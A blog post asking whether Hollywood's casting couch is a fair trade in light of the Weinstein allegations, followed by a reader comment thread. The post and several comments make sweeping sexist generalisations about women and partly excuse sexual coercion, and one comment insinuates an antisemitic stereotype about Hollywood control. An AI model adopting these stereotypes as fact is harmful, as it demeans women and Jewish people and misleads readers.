Is the casting couch a fair trade?

As I write, the cascading revelations about Hollywood mogul Harvey Weinstein’s creeptastic behavior over the last thirty years are dominating the news cycle. Platoons of women are coming forward with credible accusations of sexual exploitation, assault, and even outright rape.

Weinstein himself is not actually denying any of these accusations, so I’m going to assume that enough of them are true to define him as a criminal, a pervert, and a supremely nasty mass of noxious slime.

And yet, and yet…the libertarian and contrarian in me is balking at the quality of some of the outrage being flung around. One question, in particular, gives me pause.

There is an article I read and cannot recover reporting what at least some of Weinstein’s escapades looked like from the point of the owner of a restaurant he regularly took starlets to for intimate dinners. The interviewee sardonically noted that these followed a regular pattern: women dressed to the nines, lots of flirting and whispering and smiling, the couple disappearing for a while and then coming back with the woman looking “somewhat the worse for wear”.

Cheesy and sleazy, yes, but it does not sound like these women were being dragged by the hair. I say this without dismissing other accounts of much less consensual behavior – the gropings, the assaults and…masturbating in front of a reporter? Really?

It’s exactly because Weinstein is a contemptible blob of muck that we need to be extra careful about asking that one question: should we condemn the consensual behavior of Weinstein and J. Random Starlet trading sex for a shot at the big time?

I’m not comfortable with treating the women in those restaurant scenes as helpless victims. Yes, I’ll stipulate that Weinstein had victims, the women he groped and raped. But a woman who has dolled herself up and is visibly flirting with a man is not a helpless victim; she’s in a dance she could easily end, and if she doesn’t it’s because she’s fishing for something she wants.

Maybe the something she wants is a relationship, maybe it’s sex, maybe it’s money, and maybe it’s screen time in a mogul’s next movie. Is that, of itself, anyone else’s business? Who are we who deny her agency?

One obvious objection to this argument is that we’d get a result nobody thinks is acceptable if Weinstein were, say, a senior partner at a law firm and the woman were an intern or new associate. But, dear reader, if you are honest with yourself, you know Hollywood is different. Though perhaps you haven’t been analytical about why.

The blunt truth is that for aspiring young actresses Hollywood is a sexual marketplace to begin with, and they know it. A woman who makes it through the initial starlet phase may earn a reputation for acting chops, but at that beginning all she really has to trade on her is her attractiveness. The step from “I have to be sexy to a million men” to “I have sex with this mogul” is not really very large. Especially because women are turned on by power to begin with.

That’s why the law-firm analogy doesn’t work. The associate asked to dinner by a senior partner at her firm might be a bit turned on by power signals, but being attractive to men is not in her job description and she can rightly consider the implication that she might want to trade sex for influence to be deeply insulting and prejudicial against her career prospects.

The mogul who hits on a starlet is saying “Yeah, you’re succeeding at your basic job skill.” The senior partner hitting on an intern is saying “Sex might be the only thing you have to trade.” That difference makes a difference.

Odd as it may seem, I’m arguing for the woman’s agency to be respected in both cases. Even if it means giving the likes of Harvey Weinstein a partial pass for sleazy behavior.

210 thoughts on “Is the casting couch a fair trade?

  1. What I want is for Hollywood to stop lecturing on morality. To them, I say: Give us entertainment. That is your product. The rest, we really don’t care about.

    If Hollywood does want to lecture on morality, that opens them to being criticized about morality. Same thing for politics. One thing that is terribly counterproductive for people in the self-described entertainment industry is to declare enmity and contempt for a large portion of the audience.

    Convincing someone that you hate them, that you are their enemy is a Bad Idea. Because then that person is motivated to protect them and theirs…and that might mean going on the offense as well.

    Of course, this principle generalizes in more settings than just entertainment.

    • I might be misunderstanding your comment, but I interpret it as saying that people in Hollywood having an opinion about issues equals lecturing you about those issues, and people having views different than yours equals them hating you. If you’re not saying that, I don’t understand your comment because there are many films expressing many different viewpoints by many people with divergent political views.

      • because there are many films expressing many different viewpoints by many people with divergent political views

        Seriously? This has rarely been the case, for generations. Their political views have hardened into clichés: businessmen are greedy and destroying the planet, religious and rural people are stupid and old-fashioned, right-wingers are villains, villains are white, welfare is never a bad thing, and on and on. Standard left/liberal/SJW views.

        Try making a list of conservative or libertarian films: it’s not easy, and most of them will be from decades ago, or were minor, or imply a viewpoint rather than preach it, or were simply patriotic war films.

  2. One thing these revelations have in common is the men involved are desperate dorks. Apparently Mick Jagger never sexually harassed anyone.

  3. One aspect is that if I’m hearing is accurate, Weinstein didn’t just offer roles in exchange for sex, he added extortion– saying that he’d damage a woman’s career and reputation if she didn’t have sex with him.

    Also, there’s a difference between having sex and being looked at.

    • >One aspect is that if I’m hearing is accurate, Weinstein didn’t just offer roles in exchange for sex, he added extortion– saying that he’d damage a woman’s career and reputation if she didn’t have sex with him.

      That ought to be considered a crime. Have any of them filed extortion charges?

    • >Also, there’s a difference between having sex and being looked at.

      To you, yeah. To a woman who knows she’s competing in a cutthroat sexual-attractiveness derby with damn few actual trophies to go around and has fashioned her life around succeeding at it, maybe not so much.

      • > To a woman who knows she’s competing in a cutthroat sexual-attractiveness derby with damn few actual trophies

        What I’d like to know is why Hollywood doesn’t do what nearly every other industry does in this situation and lower salaries.

        • >What I’d like to know is why Hollywood doesn’t do what nearly every other industry does in this situation and lower salaries.

          You think they haven’t? Starlets don’t get paid much. Part of their compensation is the shot at the big time.

        • Because like most lottery industries, a person who’s made it to the big time is actually worth millions. Even if I was half as good as LeBron James at basketball, you can’t put two of me on the court in place of one of him. You can’t cast three random starlets to replace Scarlett Johansson, or get a group of alcoholic warblers to cover for Mick Jagger. You can exploit them when they’re new and not yet established, but once they are established, you pay through the nose.

      • We’re both out there in hypothesis land about those women’s preferences.

        However, I’ll note that Weinstein wasn’t popular for his behavior, and if he needed to make big threats and promises, then it suggests that those women really didn’t want to have sex with him.

        • >However, I’ll note that Weinstein wasn’t popular for his behavior, and if he needed to make big threats and promises, then it suggests that those women really didn’t want to have sex with him.

          Does it?

          I’m actually with you about the threats, but one of the things we don’t know is how often Weinstein had to make threats. The restaurant-owner’s report does not sound like the women he took there were feeling threatened. I’m not female, but I’d expect threats to produce at best sullen acquiescence, not giggly flirty complicity.

          Big promises for sex…you know this is not that far from normal courtship behavior, yes? Whether a woman “wants” sex with a powerful man can become a question of almost philosophical delicacy, because power is a major input into most womens’ fitness-evaluation function. This is the same reason women often cling to abusive, dominating men and even report having better sex in those relationships than in less abusive ones.

          • Haven’t had the experience because I’m male, but from discussions with women (and articles I’ve read), yes, “giggly, flirty complicity” is often a female response to being threatened by male sexual power.

            • Women lie to you because you are weak and don’t have power. What else would you expect them to say to you? “Yeah, I really like that behavior”. Then you’ll engage in it and she doesn’t want you to engage in that behavior after prompting because then it’s a false signal. She’s looking for a genuine signal of sexual attractiveness in men.

          • I’m not female, but I’d expect threats to produce at best sullen acquiescence, not giggly flirty complicity.

            In general, my impression is that men tend to over-interpret the amount of flirtiness in women’s behavior. Also, a good enough portion of women has an instinctual terror of being seen as impolite that, according to my mother, part of the birds and bees talk for girls is a list of all of the normal rules of good behavior that are not only waived but reversed in the case of sexual harassment and rape. Guys don’t need to be taught that there is no overkill when it comes to the amount of force to be used in reacting to sexual assault. If there’s a weapon to hand in such a situation, few men will feel any compunction
            about using it. Girls need to be *taught* that good girls scream and bite and kick.

            • >In general, my impression is that men tend to over-interpret the amount of flirtiness in women’s behavior.

              The restaurant owner was a woman.

            • In general, my impression is that men tend to over-interpret the amount of flirtiness in women’s behavior.

              I’ve read those studies too. Here’s an alternative interpretation that fits the facts significantly better.

              Women use deception and generally don’t want to clearly signal interest. When asked to interpret their own behavior they practice self-deception. “I wasn’t flirting, we were just talking” – then when the pair end up alone “I don’t know, it just happened”. This is behavior that anyone with any experience with women has seen many many times. When interpreting other women’s behavior the evolutionary incentive isn’t there for them to pick up on subtle clues about flirting (why not try one of those studies where the woman’s beloved husband is the man and see how often they see flirting?) – men, on the other hand have to have sensitive radar for that type of thing because the payoff is high for being correct and the cost is high for being wrong when a man thinks there’s interest.

              The rest of it is the typical bullshit that women feed undesirable men to keep them off the track. “Oh, I felt so pressured that it looked exactly like I was having a great time but now that you and I are alone I’ll tell you the truth – I don’t really like him and I’m so grateful for you for defending me” – c’mon.

    • The thing I really don’t get about Weinstein is that he probably had any number of wannabes offering sex for whatever help Weinstein could give them as far as getting somewhere in hollywood, so why didn’t he just fuck them instead of getting pushy with the women who weren’t making that offer?

  4. There are supposed to be more important things than money.

    Supposedly we hope people have virtue, honor and integrity. That is the basis of trust. The alternative is pure force. These women were perhaps offered the choice, and lost their virtue even if you do give them agency. Would you trust them with ANYTHING knowing they would literaly sell themselves to achieve whatever important goal they wanted at the moment?

    If we allow people’s integrity to be up for competitive bid, then all the honest and virtuous people are lost because they can easily be outbid by those who would accept an “indecent proposal”.

    What would you think of your wife, who I assumed made a sacred covenant promise of exclusivity, if someone came along and offered her the fulfillment of some whimsical dream, but she would have to commit adultery? Would you say 1. Go Ahead, and 2. Think no less of her afterward?

    What if I ask you to harm or assassinate a competitor, but do so in such a way you could not prove I’m an accessory, yet you would be convinced you would get away with it. Would you do so? Is a free market in theft and assassination proper?

    The SJW convergence follows a similar pattern. They don’t ask for money. Only virtue signalling including grovelling. And the same kind of extortion (Before Damore, name an SJW extortion lawsuit since you expect the women who aren’t rich or in a position of power to take on a hollywood mogul – oh, one did, and wore a wire, and we can hear the Audio and Cyrus Vance decided to not prosecute). You will say to have courage and fortitude and not give in when and SJW mob tries to ruin or take over your project or convention. Yet doesn’t the same agency argument apply? Give into the sicko or the SJW because it is the only way to get to your goal?

    Is the threat “I will ruin you” a true threat? How do you prove it?

    If I put a gun to your head, and you say yes only because of that, is it “consent”? Where does the line between coercion and consent work?

    Also Hollywood is hardly free enterprise. The correct libertarian position would be for the starlet to find another more moral producer (oops, I forgot, we hate Jerry Falwell types). Or at least one who would be merely greedy in the traditional sense and decide how many millions the starlet could make. I suspect we will hear more stories. If every producer is a creep that demands sexual attention, who is the starlet to go to?

    • What would you think of your wife, who I assumed made a sacred covenant promise of exclusivity

      I thought I’d seen you around some, but you must be new here.

    • >What would you think of your wife, who I assumed made a sacred covenant promise of exclusivity, if someone came along and offered her the fulfillment of some whimsical dream, but she would have to commit adultery?

      That would largely depend on my evaluation of the person who made the offer. Not many men are worthy to have sex with her, and anyone who’d try to bribe her to get it is highly unlikely to fall in that small class.

      >Is a free market in theft and assassination proper?

      No, because those are malum in se.

      • Also, because of huge externalities. For example, the free(ish)-market price of a contract killing today ranges roughly between $5,000 and $50,000, according to some obvious Google searches. This comes with an externality worth about $5,000,000 — the value to the victim of the life taken. (The libertarian economist Steve Landsburg has an old article about extracting the figure from people’s observed willingness to pay for safety.)

        Hence, even on an otherwise-nihilistic analysis of economic efficiency, the proper public policy about the market for murder would be a tax of $4,950,000 per murder. Or, if neither the customer nor the service provider can pay that much, murder-industry regulations should impose a life sentence in a labor camp. That’s actually not too different from existing law. Your special pleading of “malum in se” does not seem necessary.

        Sorry for the tangent to your original topic, but pedantic stickling like this is a compulsion of mine. Can’t help it. :)

      • So breaking sacred promises is not malum in se, contracts and covenants are to be broken when it is better to break it?

        • >So breaking sacred promises is not malum in se, contracts and covenants are to be broken when it is better to break it?

          Um, where did I say that?

          • You didn’t. tz’s failing is in his assumption: “your wife, who I assumed made a sacred covenant promise of exclusivity”.

    • Would you trust them with ANYTHING knowing they would literaly sell themselves to achieve whatever important goal they wanted at the moment?

      I’d take this seriously if “selling themselves” were not the Alpha and Omega of the dating market.

      Try an interesting objection next time.

      Note that this is question depends entirely on what you are actually looking for: the one time fling has a very different set of search criteria than putting down roots and starting a family.

    • No, these women did not sell their virtue, their integrity, their honor, or themselves. They sold their sexual services. How’s that different from selling their acting services, or their coding services? Why would you not trust someone who had done that? Their integrity is not up for bid, just the temporary use of their p****es.

    • > There are supposed to be more important things than money.

      The people who go to Hollywood are one end of a distribution. Well, maybe a couple distributions.

      And to them there are things more important than money. Fame, the adoration of fans, etc.

      > If we allow people’s integrity to be up for competitive bid,

      Ah. Never worked in the Defense Industry I see.

      > Is a free market in theft and assassination proper?

      Paging Jim Bell, James Dalton Bell, you in the house?

      > The SJW convergence follows a similar pattern. They don’t ask for money.

      I think you’d find that if there was *easier* money to be made in physics there wouldn’t be so many SJW types in academia and they’d be getting shat upon from great height.

  5. I think another error is you aren’t considering women might be different than men, psychologically. They are physically weaker (on average, but it is a big difference. 15 year old boys are the equivalent athletically as world record women.

    Civilization, even and especially a free society, establishes rules. Women were safest under Christendom – Western Civilization rules. Even so there were and are problems.

    There is exactly one Men’s domestic violence shelter. There are over 2000 battered women’s shelters, and complaints that women often refuse to leave abusive relationships.

    Both Testosterone and Estrogen are anti-rational hormones, but when it comes to power relationships, testosterone will beat estrogen.

    AFAIK, you have no children, or your opinion would likely be different. You have to cultivate virtue, and one of the reasons the right went ballistic and for Trump is the same reason they Homeschool – because you have to cultivate virtue. It is hard. The first chapter of Lewis Abolition of Man complains about two books that seek to debunk and destroy any awe or passion for right and virtue and beauty. But reason is sterile, only passion can motivate men. I suspect you are passionate about weapons and martial arts, and not Mr. Spock rational.

    To echo my earlier post, women have been raised to not value virtue. Hence when put in a position where their will has to decide, reason can give lots of issues about not doing something with a creep, but passion has to ultimately decide between virtue, honor, and integrity v.s. the whimsical pleasure, passion, and success. Passion is now aligned with feelz, not reason.

    Humans ought to be, and need to be raised to be passionate about virtue, honor, integrity, and the truth.

    Instead, it is especially bad for women who are told they can have it all, that nothing matters, and they will alternately sleep their way to the top, or screech like a banshee over some SJW slight (see GamerGate’s patient zero, Zoe Quinn who slept with five guys to get good reviews while claiming terrible discrimination in the industry)

    • >I suspect you are passionate about weapons and martial arts, and not Mr. Spock rational.

      You left out liberty. Also virtue, honor, integrity, and the truth.

    • ” 15 year old boys are the equivalent athletically as world record women.”

      I don’t know which world you live in but I do know that this is bollocks. Being weaker on average is one thing, but what you have written here is that pretty much every woman is weaker than nearly every man. That is not the case. I don’t know if you realize it but 15 years old boys lifting over just 60kg is not average – it is above average.

      • >I don’t know if you realize it but 15 years old boys lifting over just 60kg is not average – it is above average.

        Yes, but…15-year-old boys not all that far up the right tail are stronger and faster than most adult female athletes, even those selected as elite from large countries. One piece of evidence is he notorious case of the U.S. Women’s Olympic Soccer team getting owned by a squad of high-school boys.

        Fast-forward three years or so and the disparity gets larger. Look into what had to be done to military fitness standards so women could pass them.

      • > Being weaker on average is one thing, but what you have written here is that pretty much every woman is weaker than nearly every man. That is not the case.

        But that is the case, see here and here among others. Highlight: “99.9% of females have less upper body muscle mass than the average male.” I think 15 year old boys are still an overstatement though.

      • > That is not the case. I don’t know if you realize it but 15 years old boys lifting over just 60kg is not average – it is above average.

        (does math) That’s what, 150 pounds?

        What lift are you talking about?

        • Most adult males can’t deadlift or bench press or squat 150 lbs.

          I lift. I weigh 175, and it took me years of work to get to benching 150 lbs. I never even tried deadlifting or squatting 150.

          I very much doubt that an average 15 year old boy could..

    • There is exactly one Men’s domestic violence shelter. There are over 2000 battered women’s shelters,

      And you think this reflects the proportion in which such facilities are needed?! Or does it merely reflect the power of those who make political hay from pretending domestic violence is a crime committed by men and against women?

      • It reflects politics, but also women slap men, and the men are usually barely bruiaed. The other way results in broken bones and concussions.

        • That would explain a preponderance of medical facilities for female victims, but it doesn’t explain it for shelters. I’d expect victims with severe injuries to go to a hospital, not to a shelter; I expect the shelters get victims who are not injured, but simply can no longer put up with the abuse, and I don’t see why that would be so much more prevalent among women than men.

          • This one also might partially be a result of disparity in economic power (not just among “men and women” but specifically among “men and women who are victims in abusive relationships”). As in the men might, on average, be more able to move out without the need for a shelter. Also, if a woman is abusive but not physically dangerous, most men would leave the children to her, so would need accommodation just for themselves; most women would want to leave with children and so would need more resources for accommodation.

            This is not to deny the part that shelters for men are underprovided.

  6. This sort of thing has probably been going on for almost as long as there has been a movie industry.

    Old timers may recall a magazine called Confidential that made its living as a scandal sheet, dishing out salacious rumors about Hollywood doings, and at least some of what Confidential published was leaked by studios to divert attention from things they didn’t want to be public knowledge, so they would feed items about bad behavior by actresses to cover up problems involving bad behavior by producers or directors. And you got exposes like Kenneth Anger’s “Hollywood Babylon”

    The dynamics changed after the suits against Paramount that actually began in the ’20s, but for various reasons were not finally adjudicated till the late 40’s. Before then, Hollywood had been vertically integrated. The studios owned the production facilities, the distributors, and the theaters in which films were shown. You were under contract to a studio, and you took the parts you were given and appeared in the films they chose you to appear in. Jumping ship to go elsewhere for a better deal was not easy, and the lower on the totem pole you were, the harder it was.

    The forced divestiture of the distributors and theaters from the studios changed many things about the industry, but wealthy, powerful men in the industry still used their position to get sex. Sometimes it was the carrot – “Put out for me and I’ll get you parts!”, sometimes the stick – “Don’t put out for me and I’ll guarantee you never get a part!” – and sometimes both.

    If you were a young actress, you might decide that putting out was a way to establish a career, especially if all you really had were good looks, and you traded on them as long as you could. The goal might be “Snag a wealthy powerful husband” rather than “Take the first step toward building a career”.

    But when something like Weinstein’s bad behavior comes home to roost, lots of folks will pop out of the woodwork saying “He mistreated me too!”. Some of them may essentially be going after the guy for breach of contract – “I put out for him and then he dumped me and never got me parts!”, some may be going after him for the threat that he’d see they never got work if they didn’t put out, and some may just be angling for a payoff to shut them up and make them go away. Without knowing more about the accusers suddenly flocking to the colors, it’s hard to say how many might fall into which group.

    I do suspect there is a group whose size we can never know, who put out, got parts, and felt they got what they wanted. What might they gain from coming forward now?

    I note that the Wall Street Journal has been following this, documenting a long history of Weinstein making under the table payoffs to keep women he’d treated this way quiet, and talking about the efforts the Weinstein Company board had been making to ease Harvey out without it blowing up in public. His brother and the rest of the board finally just fired him for cause, and he had been writing to various other influential people saying “Give me another chance, and stand beside me it my company tries to kick me out!”

    The latest bit is that the Weinstein Company has a couple of ad agencies working on a rebranding that would no longer be called the Weinstein Company, and the board trying to reassure folks that films would continue to be produced by their studio and they would remain a going concern.

    I have no sympathy for Harvey and think he deserves what he’s getting, but I am sympathetic to the other folks caught up in the fallout. I do think his brother and the board tried to ignore the problems and sweep them under the carpet for too long, and should have said “Your behavior is unacceptable and can damage the company. You have psychological problems that need treatment. Get it and we’ll help as much as we can. Refuse to get it and you’ll be out on your ass, co-founder or not.” years ago.

    >Dennis

  7. Weinstein does deny coercion: Harvey Weinstein Denies Rape Allegations Against Him: He Believes ‘All of These Relationships Were Consensual’

    I think this is a prime opportunity in the culture war. Hollywood and the Democratic Party have been synonymous for many years. Hollywood money and cultural influence supports the left. (Weinstein alone accounts for millions of dollars.) Why not apply the Alinsky rule of making opponents live up to their own rules? #HollywoodVictimsComeForward! Name the names so that justice is done, and these abusers are held accountable! Protect women! Oh, and all you Democrats who got donations? That’s dirty money you must donate to charity.

    Let’s have a big, public witch hunt for the sake of feminism. It will take the steam out of feminism by showing how some of their biggest supporters are hypocrites, and force Hollywood types to spend money on lawyers instead of leftist causes.

    (And no, I don’t think there’s much chance of non-leftists being caught up in this. They are rare in Hollywood, and if there was any dirt on them, you know the leftist media would not have suppressed it like they did for Harvey.)

    • As far as I’m concerned the left ripped up the social contract binding the nation together after the election…. They are no longer my fellow citizens and I no longer want to sue for peace or even try for reconciliation.

      I’m on board with your plan, its time to take all the lefties in Hollywood down a notch, and hopefully arrest and convict a good number of them to boot….

    • More importantly, why is Weinstein demonized yet Bill Clinton is still untouchable? Didn’t he do the same thing? Is it because his victims are far less powerful? Or because he’s so charismatic and the average American knows who he is, whereas Weinstein wasn’t a household name until days ago?

  8. The problem I have with all this is that the asshats in Hollywood actually believe that every industry is like theirs and go on to lecture US on things like pay and the number of women in STEM, believing that we are as morally bankrupt as they are.

    So James Damore makes logical compelling arguments about why Google has trouble hiring women engineers and the beautiful people SJWs in Hollywood annihilate him. As if they’ve judged him as immoral as Weinstein. Because they’ve projected their immorally on us normal people…

  9. The problem is, it’s not just actresses that work in Hollywood, and sex is habit-forming. Giving a director a pass on a consensual relationship with an actress for one of his films may very well create negative externalities for other women, such as his secretary or maid, in terms of how it teaches him to think of women in his employ.

    • >Giving a director a pass on a consensual relationship with an actress for one of his films may very well create negative externalities for other women, such as his secretary or maid, in terms of how it teaches him to think of women in his employ.

      In theory, you’re right. In practice, I doubt than men who have access to a buffet of the most beautiful women in the world, self-trained for attractiveness, are going to prey on maids and secretaries implicitly selected for not having what it takes to do the starlet thing.

      • In practice, I doubt than men who have access to a buffet of the most beautiful women in the world, self-trained for attractiveness, are going to prey on maids

        Well, Arnold Schwarzennegger had a kid with his housekeeper Mildred Patricia Baena while he was married to Maria Shriver, and Mildred was not exactly a looker. I think it’s a power/variety thing. Note that Weinstein’s soon-to-be-ex-wife is gorgeous.

        Oh, and regarding my culture war suggestion, I came up with a nice persuasive phrase: “Hollywood rape culture.” Wouldn’t it be fun to wield that against Hollywood leftists and feminist hypocrites?

          • Thank you! One thing I’ve learned from reading Scott Adams about Trump is the persuasive power of a well-crafted, memorable phrase: think of “Little Marco” or “Crooked Hillary.”

            Plus, it has the added benefit of hijacking a feminist phrase which is consistently misapplied to largely female-safe places like college campuses or the US in general, while they ignore the real hotbeds of rape in the US and around the world, because they can’t blame it on white males. Feminists will either have to go after their own (nominal) allies in Hollywood, or give up the phrase. It’s win/win from my POV.

        • Changing up “Dems are the real racists” to “Dems are the real sexists” – sounds like a winner.

      • … I doubt than men who have access to a buffet of the most beautiful women in the world, self-trained for attractiveness, are going to prey on maids and secretaries implicitly selected for not having what it takes to do the starlet thing.

        Well, part of the answer, I think, you yourself give downthread:

        Weinstein, on the other hand, seems to be a a sick, paraphilic creep who got off as much or more on humiliating and disgusting women as he did on having them service him.

        The other part is that I don’t think even the non-paraphilic type of womanizer tends to be very selective. Sure, it’s a boost to his ego to sleep with beautiful women, and he may manage it a good portion of the time, but if he finds himself in a situation where one is not immediately avaliable when he’s in the mood, he doesn’t really care to wait. That, at least, is my mental model of the type.

        • Look at the women Billy Clinton preyed on.

          John Kennedy.
          Lyndon Johnson
          Bobby Kennedy.
          Bill Clinton
          Al Gore
          Ted Kennedy.
          Donald Trump (for most of his life)

          What is it with Democrats and preying on women in their power?

          • There’s plenty on the Republican side too, I’m sure, if I did a bit of research. The thing with the democrats that do this sort of thing though is they get a pass from the media and the feminists.

    • This is especially a problem as much of our culture comes from Hollywood. The fundamental problem is that:

      1) Actors and other involved in movies are incentivized to act in rather immoral ways.

      2) People inevitably learn about how one out to behave by watching movies.

      Another way to phrase this, is that the worst externality isn’t what the director does to other women, it’s how this behavior affects his (and everyone else’s in Hollywood) perception of what normal relationships are like which inevitably comes though in the movies he directs.

  10. I’ll note here that Cindy Morgan refused to allow photographers from Playboy on the set while she was filming the sex scene in Caddyshack, despite the producer’s threats to have her blackballed for it. She told me that the producer vowed she’d never get another part – and he was mostly correct, since TRON came afterward, but was the last major part she got.

    So it’s not just sex in the film industry; women get coerced in other ways.

    • > despite the producer’s threats to have her blackballed for it. She told me that the producer vowed she’d never get another part – and he was mostly correct, since TRON came afterward, but was the last major part she got.

      An interesting question is why did the producer have this ability? After all there are other producers in the industry who are theoretically his competitors. The fact that he could do this suggests the producers are in some sense acting as a de facto cartel.

      • >The fact that he could do this suggests the producers are in some sense acting as a de facto cartel.

        I think everybody in this discussion is assuming that.

        • I was naturally wondering about this. I think big Hollywood producers aren’t necessarily aware of everything their competitors do. They might be aware of particularly bad behavior and advertise good behavior to get more market share, but only if they’re aware.

          And only if it makes sense to advertise. Jeffrey Katzenberg isn’t going to say “we promise not to demand sex” and expect to attract talent to Dreamworks that way. Which further implies that they can’t quickly respond in the usual market way to unethical behavior involving taboo issues.

          So this might be a type of market failure. Suppose they’re not a cartel. (I think they don’t see themselves as one; they’ll probably happily steal talent from each other.) How would one of them exploit the unethical behavior of competitors to gain more share, quickly? If the primary goal of the talent is fame and bright lights, offering perks that ensure a “dignified career in classic entertainment” might come off as too boring. (Maybe not now, though…)

        • The question is how does it work? Is there some seedy smoked filled room where all the producers get together and say “so-and-so refused my sexual advances, no one else hire her”?

          • Control by an ethnic group that has a very strong “in-group/out-group” split morality. Reinforced by a closed shared culture around being in the same temples for the high holidays, the same country clubs, etc.

            Libertarians have to believe the world is an individual sport but that’s highly vulnerable to those who treat it as a team sport. This happens to imply that liberals could be right about irrational discrimination in the labor market against their favored groups – libertarians hold that they’re wrong in theory – “that type of distortion is impossible in a market” – when in fact they’re just wrong on facts.

            • >Libertarians have to believe the world is an individual sport

              Where did you get that silly idea? Plenty of us are happily married, to begin with. Most associations are voluntary.

  11. I was somewhat in agreement with the first part, but you lost me in the last part. In particular, I think the following is a greater leap than I am willing to make:

    A woman who makes it through the initial starlet phase may earn a reputation for acting chops, but at that beginning all she really has to trade on her is her attractiveness. The step from “I have to be sexy to a million men” to “I have sex with this mogul” is not really very large.

    There are a lot of jobs which select for attractiveness. Waitress, hostess, salesperson, etc. can all be seen as similar to your description, just on a smaller scale. I don’t think it’s okay to say that they should be willing to have sex with their boss, just because part of their work is to be attractive.

    I think that they’re just as entitled to be protected from sexual harassment as the lawyer is. Saying, “hey, you’re attractive, and you work in a job known for attractive people, so you’re fair game” strikes me as being mean and treating attractive people unfairly just because they are attractive.

    • >I don’t think it’s okay to say that they should be willing to have sex with their boss, just because part of their work is to be attractive.

      I don’t think that’s what I said. I’m not in favor of moguls hitting on starlets, or vice-versa; the strongest position I’ve taken is that such behavior can be consensual and is a kind of trade that doesn’t necessarily make either party a victim.

      Waitress, hostess, salesperson – no, these jobs are not like Hollywood.

      One reason is that there are a lot more of these jobs. In Hollywood, thousands of young women are competing for a relative handful of starlet gigs – a major studio only does at most 20 or so releases a year and most of those roles are not going to go to newcomers. With a much larger number of gigs available, the power of any individual male gatekeeper diminishes and – this is the important part – casting-couch behavior never gets normalized, never gets a foothold.

      Try this storyline in for size: “Innocent Mary Sue from rural Ohio dreams of being a waitress in the big city, but has to sleep her way to the top.” It doesn’t work, does it? Even as a joke it’s kind of lame. The background of harsh selection in a winner-take-all market is absent.

    • This is in response to comments made by RohanV and esr.

      I don’t think it’s correct to say that, for a woman, acting is largely about conveying sex appeal and, therefore, the “casting couch” is related to her job description/the job she’s trying to get. That’s true for several reasons:

      1) The role in question may not involve sex or sex appeal at all (sadly, this is still not the case in too many instances with regard to female movie roles);
      2) There’s a difference between being able to convey sex appeal ON THE SCREEN and being sexy in real life, in one-on-one interactions;
      3) How much sex appeal a woman conveys is not necessarily a good indicator of how good she is in bed (e.g., how much she enjoys sex, how good she is at stimulating her partner physically).

      No, I think the real trip for Weinstein was the power he was able to exercise over women. Hugh Hefner came much closer to using his enterprise to audition women for sex, and his mode of proceeding showed that he was indeed choosing women for sex, not just for oozing sex appeal.

      • >I don’t think it’s correct to say that, for a woman, acting is largely about conveying sex appeal and, therefore, the “casting couch” is related to her job description/the job she’s trying to get.

        That wasn’t my claim at all. I’m saying attractiveness is all a starlet has to sell before she has established a reputation for acting chops.

      • > No, I think the real trip for Weinstein was the power he was able to exercise over women.

        From a purely ‘moral’ POV, this is arguably what’s most damning about the whole thing – it really is a case of #HollywoodRapeCulture. You can definitely make the case that seeking to exercise this sort of wholly gratuitous ‘power’ over fellow human beings is *itself* wrong, even when the interaction was the result of some overtly consensual “trade”. (After all, being deeply distrustful of excessive power or authority is a natural human impulse which one could indeed regard as part of our shared morality. And this is true, even if– as is actually rather common– the “big man” tries to curry favor by making material gifts to the lower-status folks he holds power over.)

      • I don’t think it’s correct to say that, for a woman, acting is largely about conveying sex appeal and, therefore, the “casting couch” is related to her job description/the job she’s trying to get.

        This had occurred to me too, and I never got around to saying so. I’m glad you laid it out.

        Very minor quibble: actresses trying out for non-sexy roles are probably less likely to end up on the casting couch, even with Weinstein. But I wouldn’t be surprised if it happened anyway.

        No, I think the real trip for Weinstein was the power he was able to exercise over women.

        I suspect so too. I think the only reason I’m holding out on this is that part of me irrationally wants to believe it, and I’m forcing myself to be more procedural about concluding it.

  12. The reality is that these types of relationships and manipulation will continue to exist in many venues of life, regardless of what society-at-large or any individual may think. At it’s root, it’s a survival of the fittest contest that is most often constrained by social norms and legal sanction, but anyone can step outside the lines if sufficiently motivated. My guess is that Weinstein danced on the edge and it eventually caught up with him. He leaves the arena with shit for a reputation, but enormous wealth nonetheless. Had he tried this with someone like Lorena Bobbitt, he might be minus a penis right now.

  13. Newspapers started as The Government’s Word in public and blackmailing scandal sheets on the down low; then bourgeois news based on advertising. For a hundred years newspaper printers put the ads on the paper first and then fitted stories around them. Now papers are losing advertising and going out of business. I expect a lot more blackmailing stuff. High profile takedowns are an investment.
    We did it to Weinstein, you aren’t as powerful, shame if we printed something about you- say, I could use some cash.

  14. Even in the case of the lawyer, what exactly is wrong with saying “this is one of the job requirements”? Or “Based on your legal skills alone you’re not good enough for the job, or the promotion, but you have other skills you can bring to the table”? What’s the difference between “You also have to do all the night court appearances”, “You also have to make the coffee”, and “You also have to sleep with me”?

    • >What’s the difference between “You also have to do all the night court appearances”, “You also have to make the coffee”, and “You also have to sleep with me”?

      Compare “You have to donate a kidney to my cousin.” and maybe you’ll see it.

      • I see it, but I disagree. Your argument seems to be that any consensual exchange is morally licit, so how do you draw the line between “I’ll exchange a blowjob for X” and “I’ll exchange a kidney for X”? If both parties agree, on what grounds do you condemn?

        • >I see it, but I disagree. Your argument seems to be that any consensual exchange is morally licit, so how do you draw the line between “I’ll exchange a blowjob for X” and “I’ll exchange a kidney for X”? If both parties agree, on what grounds do you condemn?

          I think the actual binding of X is important in answering this question. The difference between donating a kidney and a blowjob is the amount of permanent damage it does.

          As a libertarian I want to say that any consensual trade is ethical. But offering a trade of the form “do yourself permanent damage to keep your job” is so inequitable that I don’t think it would even be offered if not for a coercive advantage. I’d take a lot of persuading that there’s real agreement there.

          • “But offering a trade of the form “do yourself permanent damage to keep your job” is so inequitable that I don’t think it would even be offered if not for a coercive advantage.”

            Isn’t this pretty much what we’re seeing in the NFL? Players subjecting themselves to permanent brain damage for fame and fortune? I don’t think anyone could argue that the guys on the field today aren’t making a conscious choice to do so.

            FWIW, I also share your concerns about the state regulating a voluntary contract.

          • What makes you think these women are doing permanent damage to themselves?

            It seems to me that you’re implicitly swallowing another leftist lie here. Women are attracted to power, status and charisma, all of which high-ranking men tend to have in larger supply than regular workers. Therefore, it will be commonplace for women to want to sleep with their boss. Also, for a woman who already desires such an affair any demonstration of her boss’s power will serve as a mating display, and tend to further inflame her desires.

